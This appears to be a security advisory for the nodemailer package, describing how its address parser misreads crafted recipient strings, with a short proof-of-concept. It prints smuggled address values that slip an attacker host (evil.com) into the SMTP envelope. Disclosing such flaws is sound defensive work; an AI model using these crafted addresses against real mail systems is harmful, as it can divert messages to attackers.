Interpretation Conflict Affecting org.webjars.npm:nodemailer package, versions [3.0.0,10.1.4)

org.webjars.npm:nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Interpretation Conflict via the address parser in src/addressparser/index.ts, where the tokenizer tracks only a single open operator and does not account for quoted strings, comments, or domain literals nested inside an angle-addr or group. An attacker who controls a recipient address can supply a value such as 'G: (a; <evil@evil.com>) <v@victim.com>;' to cause the parser to terminate the group at the ; inside the comment, resulting in evil@evil.com being added to the SMTP envelope as a recipient instead of, or in addition to, the intended address. Similarly, a quoted local part containing > prematurely closes an angle-addr, so <"a@evil.com>"@good.com> is resolved to evil.com rather than good.com.

const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("G: (a; <evil@evil.com>) <v@victim.com>;"));
// [ { name: 'G', group: [ [Object] ] }, { address: 'evil@evil.com', name: ') v@victim.com' } ]

Python's email._header_value_parser.get_address_list reads the same value as the single mailbox v@victim.com, with no defects reported.

The envelope a message gets is built from the same parse, so sendMail({ to: "G: (a; <evil@evil.com>) <v@victim.com>;" }) issues the RCPT TO shown above.

Note: The PoC uses the addressparser module bundled with nodemailer and states no specific version, OS, or non-default configuration.

• GitHub Advisory
• GitHub Commit
• GitHub Release